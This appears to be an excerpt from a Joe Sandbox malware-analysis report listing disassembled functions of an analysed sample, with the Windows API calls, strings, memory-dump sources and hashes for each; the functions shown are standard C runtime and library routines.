Opcode ID: 1d24ef28bc6494d4f32e17e582550bcecd4607126de7dd0e3447cde8bb60405a
Instruction ID: 9f5714f3741d262582d91aa49c58cb07bd20065c27159592644951a243d3f8b5
Opcode Fuzzy Hash: 1d24ef28bc6494d4f32e17e582550bcecd4607126de7dd0e3447cde8bb60405a
Instruction Fuzzy Hash:

Function 00417836 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 100fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?), ref: 004178A3
GetStdHandle.KERNEL32(000000F4,0041BD2C,00000000,00000000,00000000,?), ref: 00417979
WriteFile.KERNEL32(00000000), ref: 00417980

Strings

*B, xrefs: 00417851
X*B, xrefs: 00417844
Runtime Error!Program: , xrefs: 00417909
..., xrefs: 004178F5
Microsoft Visual C++ Runtime Library, xrefs: 0041794F
<program name unknown>, xrefs: 004178B3

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: File$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program: $X*B$*B
API String ID: 3784150691-2787626558
Opcode ID: a5ae5b659794e102b2e8aa4557315333f416c08d847f0ab12ced78ba572f4f7a
Instruction ID: 83e6cc08efc147308ddc610541e3e7ace00831554afff49654370310fabd765f
Opcode Fuzzy Hash: a5ae5b659794e102b2e8aa4557315333f416c08d847f0ab12ced78ba572f4f7a
Instruction Fuzzy Hash: 6E310472A00218AFEF20E660DD45FDA737DEB45344F5000ABF544D6140EBBCAAC58BAD

Function 0041881D Relevance: 13.7, APIs: 9, Instructions: 177COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,0041BDF8,00000001,00000000,00000000,74DEE860,004256C4,?,?,?,004186BE,?,?,?,00000000), ref: 0041885F
LCMapStringA.KERNEL32(00000000,00000100,0041BDF4,00000001,00000000,00000000,?,?,004186BE,?,?,?,00000000,00000001), ref: 0041887B
LCMapStringA.KERNEL32(?,?,?,004186BE,?,?,74DEE860,004256C4,?,?,?,004186BE,?,?,?,00000000), ref: 004188C4
MultiByteToWideChar.KERNEL32(?,004256C5,?,004186BE,00000000,00000000,74DEE860,004256C4,?,?,?,004186BE,?,?,?,00000000), ref: 004188FC
MultiByteToWideChar.KERNEL32(00000000,00000001,?,004186BE,?,00000000,?,?,004186BE,?), ref: 00418954
LCMapStringW.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?,004186BE,?), ref: 0041896A
LCMapStringW.KERNEL32(?,?,?,00000000,?,?,?,?,004186BE,?), ref: 0041899D
LCMapStringW.KERNEL32(?,?,?,?,?,00000000,?,?,004186BE,?), ref: 00418A05

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: String$ByteCharMultiWide
String ID:
API String ID: 352835431-0
Opcode ID: 7893c33c6b407451d02d995758827eecb7b20065fa294207cf6247e34bc0c6e9
Instruction ID: 3960beb12fca16cbc5043acf4b8975ab8d8a6698fa07e30ad5f7fd63c5f4fb56
Opcode Fuzzy Hash: 7893c33c6b407451d02d995758827eecb7b20065fa294207cf6247e34bc0c6e9
Instruction Fuzzy Hash: 14517B71900209EFCF228F95CC45AEF7FB5FF48794F10452AF918A1260C7398991DBAA

Function 0041750F Relevance: 12.1, APIs: 8, Instructions: 132COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00414B9A), ref: 0041752A
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00414B9A), ref: 0041753E
GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00414B9A), ref: 0041756A
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00414B9A), ref: 004175A2
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00414B9A), ref: 004175C4
FreeEnvironmentStringsW.KERNEL32(00000000,?,00000000,?,?,?,?,00414B9A), ref: 004175DD
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00414B9A), ref: 004175F0
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0041762E

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide
String ID:
API String ID: 1823725401-0
Opcode ID: da4329af8d6592d056d9235971ceaca8771b6712013f4c601b47c126e69dc7f4
Instruction ID: 0d29547afa55ef8e208fbe3ff43deda8167c9cf171b961166aceb77faed46397
Opcode Fuzzy Hash: da4329af8d6592d056d9235971ceaca8771b6712013f4c601b47c126e69dc7f4
Instruction Fuzzy Hash: 4A31ADB250D3157ED7207F799C848FBBABDEA49368B11053BF555C3200EA298DC286AD

Function 00418A6C Relevance: 9.1, APIs: 6, Instructions: 117COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,0041BDF8,00000001,?,74DEE860,004256C4,?,?,004186BE,?,?,?,00000000,00000001), ref: 00418AAB
GetStringTypeA.KERNEL32(00000000,00000001,0041BDF4,00000001,?,?,004186BE,?,?,?,00000000,00000001), ref: 00418AC5
GetStringTypeA.KERNEL32(?,?,?,?,004186BE,74DEE860,004256C4,?,?,004186BE,?,?,?,00000000,00000001), ref: 00418AF9
MultiByteToWideChar.KERNEL32(?,004256C5,?,?,00000000,00000000,74DEE860,004256C4,?,?,004186BE,?,?,?,00000000,00000001), ref: 00418B31
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,?,?,?,?,?,004186BE,?), ref: 00418B87
GetStringTypeW.KERNEL32(?,?,00000000,004186BE,?,?,?,?,?,?,004186BE,?), ref: 00418B99

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: StringType$ByteCharMultiWide
String ID:
API String ID: 3852931651-0
Opcode ID: 3d6b6e16685600d833415d128f0286c3ce565afe4e7b6c7271f7b5a09b5fc09b
Instruction ID: e288f18e772608454304c6360a88be647065f5ca3cb36798b5d5ed4d75a3f5a0
Opcode Fuzzy Hash: 3d6b6e16685600d833415d128f0286c3ce565afe4e7b6c7271f7b5a09b5fc09b
Instruction Fuzzy Hash: B0416DB2600219BFCF208F94DC86EEF7F79EB08794F10442AF915D2250D7389991CBA8

Function 004158B0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 004158CF
GetEnvironmentVariableA.KERNEL32(__MSVCRT_HEAP_SELECT,?,00001090), ref: 00415904
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00415964

Strings

__MSVCRT_HEAP_SELECT, xrefs: 004158FF
__GLOBAL_HEAP_SELECTED, xrefs: 0041593E

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: EnvironmentFileModuleNameVariableVersion
String ID: __GLOBAL_HEAP_SELECTED$__MSVCRT_HEAP_SELECT
API String ID: 1385375860-4131005785
Opcode ID: a0a65974b78899c378749041d22a9f94542c4ef0915f209cf1eaea54d79fba9d
Instruction ID: 007b09a40ac423c1d447adb87a92c2e34be193f5817f586218815b66d4303cb2
Opcode Fuzzy Hash: a0a65974b78899c378749041d22a9f94542c4ef0915f209cf1eaea54d79fba9d
Instruction Fuzzy Hash: 403177F1961648EDEF3196709C82BDF3B78DB46324F2400DBD185D6242E6388EC68B1B

Function 00417641 Relevance: 7.6, APIs: 5, Instructions: 150COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 0041769F
GetFileType.KERNEL32(?,?,00000000), ref: 0041774A
GetStdHandle.KERNEL32(-000000F6,?,00000000), ref: 004177AD
GetFileType.KERNEL32(00000000,?,00000000), ref: 004177BB
SetHandleCount.KERNEL32 ref: 004177F2

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: FileHandleType$CountInfoStartup
String ID:
API String ID: 1710529072-0
Opcode ID: 8c6679148f64bb77278d6d77b9368511d7cfe70b0cd8573ea2dfe0e7b80ae48f
Instruction ID: 1521dec5194d53324a877df202082dadc936f581ec6971422c000dc394b087b4
Opcode Fuzzy Hash: 8c6679148f64bb77278d6d77b9368511d7cfe70b0cd8573ea2dfe0e7b80ae48f
Instruction Fuzzy Hash: 39510B716086458FC7208B28D8847A67BB0FB11378F65866ED5B2C72E0D738A886C759

Function 00403AA7 Relevance: 7.6, APIs: 5, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

CharUpperW.USER32(00000000,00000000,?,00000000,00000000,?,00403B6F), ref: 00403AC2
GetLastError.KERNEL32(?,00000000,00000000,?,00403B6F), ref: 00403ACE
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,?,00000004,00000000,00000000,?,00000000,00000000,?,00403B6F), ref: 00403AE9
CharUpperA.USER32(?,?,00000000,00000000,?,00403B6F), ref: 00403B02
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,?,00000001,?,00000000,00000000,?,00403B6F), ref: 00403B15

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: Char$ByteMultiUpperWide$ErrorLast
String ID:
API String ID: 3939315453-0
Opcode ID: 209c94fe8e33f847f2405d3a9712247a1b8bb9216b5908a8917fe0bd7a80c077
Instruction ID: 0842cb939f6927aecb542cd9758d214692c03acffe84293a02396fd76ee0080f
Opcode Fuzzy Hash: 209c94fe8e33f847f2405d3a9712247a1b8bb9216b5908a8917fe0bd7a80c077
Instruction Fuzzy Hash: B30144B65001197ADB20ABE49CC9DEBBA7CDB08259F414572F942A3281E3756E4487B8

Function 00415523 Relevance: 7.5, APIs: 5, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000103,7FFFFFFF,00416EEF,00417BBE,00000000,?,?,00000000,00000001), ref: 00415525
TlsGetValue.KERNEL32(?,?,00000000,00000001), ref: 00415533
SetLastError.KERNEL32(00000000,?,?,00000000,00000001), ref: 0041557F

Part of subcall function 00416EFC: HeapAlloc.KERNEL32(00000008,?,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00416FF2

TlsSetValue.KERNEL32(00000000,?,?,00000000,00000001), ref: 00415557
GetCurrentThreadId.KERNEL32 ref: 00415568

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: ErrorLastValue$AllocCurrentHeapThread
String ID:
API String ID: 2020098873-0
Opcode ID: 86968800811f432393852c2012b1ac292949c56105930e45964c9f1db916a728
Instruction ID: cede6b9146d9eee740ee2dfbc4b23865fcca372efd47330e9e203dd76af2c63a
Opcode Fuzzy Hash: 86968800811f432393852c2012b1ac292949c56105930e45964c9f1db916a728
Instruction Fuzzy Hash: 09F09635A01611BBC7312B74AC096DB3E62EB857A1B51413AF551962A4DB28888196EC

Function 00417E3A Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 0041570A: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00415747
Part of subcall function 0041570A: EnterCriticalSection.KERNEL32(?,?,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00415762

GetCPInfo.KERNEL32(00000000,?,?,00000000,00000000,?,?,00414BA4), ref: 00417E8B

Part of subcall function 0041576B: LeaveCriticalSection.KERNEL32(?,00413F70,00000009,00413F5C,00000000,?,00000000,00000000,00000000), ref: 00415778

Strings

WB, xrefs: 00417EA8
+B, xrefs: 00417E7F
WB, xrefs: 00417EF8

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: CriticalSection$EnterInfoInitializeLeave
String ID: +B$WB$WB
API String ID: 1866836854-4076192905
Opcode ID: ee95e9d0b24a19a0cc788d9683df54c17a7a80f6c3da06404699baeb333cbe61
Instruction ID: 91cfe2518806d3d9ee68befd2fe7c4d9c34af4d87c59522c175cbc6726151178
Opcode Fuzzy Hash: ee95e9d0b24a19a0cc788d9683df54c17a7a80f6c3da06404699baeb333cbe61
Instruction Fuzzy Hash: FC41243164C654AEE720DB24D8853EB7BF1AB05314FB4406BE5488B291CABD49C7C74C

Function 0041458F Relevance: 6.5, APIs: 5, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97048a31ed7e8673145bc5a0b9288faae4c75299d979c6b38067687c3c285a89
Instruction ID: b0a20c71c01645f6642c62949d543ab21d76ee58160ce25a59b39075e73dd19d
Opcode Fuzzy Hash: 97048a31ed7e8673145bc5a0b9288faae4c75299d979c6b38067687c3c285a89
Instruction Fuzzy Hash: 4691E671D01514ABCB21AB69DC85ADEBBB4EFC5764F240227F818B62D0D7398DC1CA6C

Function 0041659C Relevance: 6.4, APIs: 5, Instructions: 102memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000000,00002020,00420818,00420818,?,?,00416A68,00000000,00000010,00000000,00000009,00000009,?,00413F4F,00000010,00000000), ref: 004165BD
VirtualAlloc.KERNEL32(00000000,00400000,00002000,00000004,?,?,00416A68,00000000,00000010,00000000,00000009,00000009,?,00413F4F,00000010,00000000), ref: 004165E1
VirtualAlloc.KERNEL32(00000000,00010000,00001000,00000004,?,?,00416A68,00000000,00000010,00000000,00000009,00000009,?,00413F4F,00000010,00000000), ref: 004165FB
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,00416A68,00000000,00000010,00000000,00000009,00000009,?,00413F4F,00000010,00000000,?), ref: 004166BC
HeapFree.KERNEL32(00000000,00000000,?,?,00416A68,00000000,00000010,00000000,00000009,00000009,?,00413F4F,00000010,00000000,?,00000000), ref: 004166D3

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: AllocVirtual$FreeHeap
String ID:
API String ID: 714016831-0
Opcode ID: 3cebd7198669312bdcb80342c8511f4e4e3300f6cdfd7be81cbf94ce20f50e4e
Instruction ID: 0af9858cac0a30669fb94f5f64461d90f8de944a7195c69e4f59e8ed45fdce2d
Opcode Fuzzy Hash: 3cebd7198669312bdcb80342c8511f4e4e3300f6cdfd7be81cbf94ce20f50e4e
Instruction Fuzzy Hash: 983101B0700705EBD3309F24EC45BA2BBE4EB44794F12823AE55597791E778E8818BCC

Function 00409787 Relevance: 6.1, APIs: 4, Instructions: 98COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040978C

Part of subcall function 004095DD: EnterCriticalSection.KERNEL32(?,?,?,00409903), ref: 004095E2
Part of subcall function 004095DD: LeaveCriticalSection.KERNEL32(?,?,?,00409903), ref: 004095EC

EnterCriticalSection.KERNEL32(?), ref: 004097B9
LeaveCriticalSection.KERNEL32(?), ref: 004097D5
__aulldiv.LIBCMT ref: 00409824

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: CriticalSection$EnterLeave$H_prolog__aulldiv
String ID:
API String ID: 3848147900-0
Opcode ID: 985cff57d02d2bbd00f179e979cdbab89758c627aa779ce2aa11222f2ed784f0
Instruction ID: 0a470d0c852558693c62499fef9fcf54cb9603282822d0262474d13d459b1607
Opcode Fuzzy Hash: 985cff57d02d2bbd00f179e979cdbab89758c627aa779ce2aa11222f2ed784f0
Instruction Fuzzy Hash: D2316076A00219AFCB10EFA1C881AEFBBB5FF48314F00442EE10573692CB79AD45CB64

Function 004095F7 Relevance: 6.0, APIs: 4, Instructions: 37windowtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 00413260: SetEvent.KERNEL32(00000000,00407649), ref: 00413263

GetDlgItem.USER32(?,000003E8), ref: 0040961A
LoadIconA.USER32(00000000), ref: 00409634
SendMessageA.USER32(?,00000080,00000001,00000000), ref: 00409645
SetTimer.USER32(?,00000003,00000064,00000000), ref: 00409654

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: EventIconItemLoadMessageSendTimer
String ID:
API String ID: 2758541657-0
Opcode ID: a2a1fe83cc9e0c6555ab30a5ba5d34d7e9637e7b1c96707fcad98147a719e390
Instruction ID: 551790b6ae67963d7c94afa5d69916b6b09ae611f895d6b9f891aac7cfc7161a
Opcode Fuzzy Hash: a2a1fe83cc9e0c6555ab30a5ba5d34d7e9637e7b1c96707fcad98147a719e390
Instruction Fuzzy Hash: AF010830140B00AFD7219B21DD5AB66BBA1BF04721F008B2DE9A7959E0CB76B951CB48

Function 0040D7CC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 185COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040D7D1

Strings

, xrefs: 0040D9B0
, xrefs: 0040D988

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: H_prolog
String ID: $
API String ID: 3519838083-227171996
Opcode ID: f310208c7012b047481696f3de0866f141f831578990e3312a3a639e5dd044ff
Instruction ID: b608afa5533618173c50a936dd0dc92eebd328cd23ff399218f1dfb4b0bc6294
Opcode Fuzzy Hash: f310208c7012b047481696f3de0866f141f831578990e3312a3a639e5dd044ff
Instruction Fuzzy Hash: 6A713571E0020A9FCB24DF99D481AAEB7B1FF48314F10457ED416B7691D734AA8ACF54

Function 00403D5A Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 152COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00403D5F

Part of subcall function 00403F3C: __EH_prolog.LIBCMT ref: 00403F41

Strings

KA, xrefs: 00403DA1, 00403DD1, 00403DA4
> @, xrefs: 00403D6A

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
